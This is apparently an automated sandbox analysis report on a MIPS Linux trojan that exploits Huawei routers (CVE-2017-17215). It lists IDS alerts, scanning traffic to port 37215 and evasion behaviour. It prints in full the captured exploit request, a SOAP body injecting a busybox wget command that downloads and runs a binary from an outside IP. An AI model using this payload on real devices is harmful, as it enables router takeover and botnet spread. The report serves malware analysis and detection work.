Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.35.168

Timestamp:	192.168.2.23156.253.35.16849020372152829579 11/19/23-09:16:27.953375
SID:	2829579
Source Port:	49020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.101.61

Timestamp:	192.168.2.23156.235.101.6145214372152835222 11/19/23-09:16:56.629972
SID:	2835222
Source Port:	45214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.33.255

Timestamp:	192.168.2.23156.253.33.25543086372152829579 11/19/23-09:16:38.829857
SID:	2829579
Source Port:	43086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.169.155

Timestamp:	192.168.2.2341.232.169.15548262372152835222 11/19/23-09:16:49.399507
SID:	2835222
Source Port:	48262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.27.184

Timestamp:	192.168.2.23156.230.27.18445946372152829579 11/19/23-09:16:20.312721
SID:	2829579
Source Port:	45946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.101.157

Timestamp:	192.168.2.23156.241.101.15749260372152829579 11/19/23-09:16:28.006707
SID:	2829579
Source Port:	49260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.67.35

Timestamp:	192.168.2.23156.241.67.3539514372152829579 11/19/23-09:16:52.054161
SID:	2829579
Source Port:	39514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.47.97.249

Timestamp:	192.168.2.2341.47.97.24955216372152835222 11/19/23-09:16:24.068427
SID:	2835222
Source Port:	55216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.56.141.175

Timestamp:	192.168.2.23197.56.141.17545424372152829579 11/19/23-09:16:30.240555
SID:	2829579
Source Port:	45424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.67.35

Timestamp:	192.168.2.23156.241.67.3539514372152835222 11/19/23-09:16:52.054161
SID:	2835222
Source Port:	39514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.85.109

Timestamp:	192.168.2.23156.254.85.10944436372152835222 11/19/23-09:17:03.036644
SID:	2835222
Source Port:	44436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.27.184

Timestamp:	192.168.2.23156.230.27.18445946372152835222 11/19/23-09:16:20.312721
SID:	2835222
Source Port:	45946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.68.190

Timestamp:	192.168.2.23156.254.68.19051916372152835222 11/19/23-09:16:20.631358
SID:	2835222
Source Port:	51916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.31.63

Timestamp:	192.168.2.23156.230.31.6350212372152835222 11/19/23-09:17:34.042853
SID:	2835222
Source Port:	50212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.47.97.249

Timestamp:	192.168.2.2341.47.97.24955216372152829579 11/19/23-09:16:24.068427
SID:	2829579
Source Port:	55216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.27.96

Timestamp:	192.168.2.23156.247.27.9653072372152835222 11/19/23-09:17:24.881561
SID:	2835222
Source Port:	53072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.100.190

Timestamp:	192.168.2.23156.241.100.19052680372152835222 11/19/23-09:16:28.390022
SID:	2835222
Source Port:	52680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.94.165

Timestamp:	192.168.2.23156.241.94.16551870372152835222 11/19/23-09:16:38.885761
SID:	2835222
Source Port:	51870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.33.255

Timestamp:	192.168.2.23156.253.33.25543086372152835222 11/19/23-09:16:38.829857
SID:	2835222
Source Port:	43086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.109.92

Timestamp:	192.168.2.23156.254.109.9245584372152835222 11/19/23-09:16:43.721140
SID:	2835222
Source Port:	45584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.97.151

Timestamp:	192.168.2.23156.241.97.15153654372152835222 11/19/23-09:16:16.589230
SID:	2835222
Source Port:	53654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: classification engine

Classification label: mal84.troj.evad.linELF@0/0@20/0

Hooking and other Techniques for Hiding and Protection

Sample deletes itself

Source: /tmp/yP1n2CG3Da.elf (PID: 6207)

File: /tmp/yP1n2CG3Da.elf

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 42096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 55216
Source: unknown	Network traffic detected: HTTP traffic on port 59056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 45424
Source: unknown	Network traffic detected: HTTP traffic on port 59056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 40504
Source: unknown	Network traffic detected: HTTP traffic on port 47270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 48262
Source: unknown	Network traffic detected: HTTP traffic on port 49260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 53550
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44392 -> 37215

Source: /tmp/yP1n2CG3Da.elf (PID: 6207)

Queries kernel information via 'uname':

Jump to behavior

Source: yP1n2CG3Da.elf, 6207.1.000055c46443a000.000055c4644e2000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: yP1n2CG3Da.elf, 6207.1.00007ffd96607000.00007ffd96628000.rw-.sdmp	Binary or memory string: b5x86_64/usr/bin/qemu-mipsel/tmp/yP1n2CG3Da.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/yP1n2CG3Da.elf
